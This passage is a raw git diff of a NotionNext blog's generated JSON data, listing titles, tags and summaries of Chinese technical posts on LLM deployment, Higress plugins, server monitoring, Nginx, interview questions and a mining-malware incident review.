Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":0,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[],"keyword":"NotionNext BLOG","page":"1"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag.json new file mode 100644 index 000000000..09e0b5f60 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 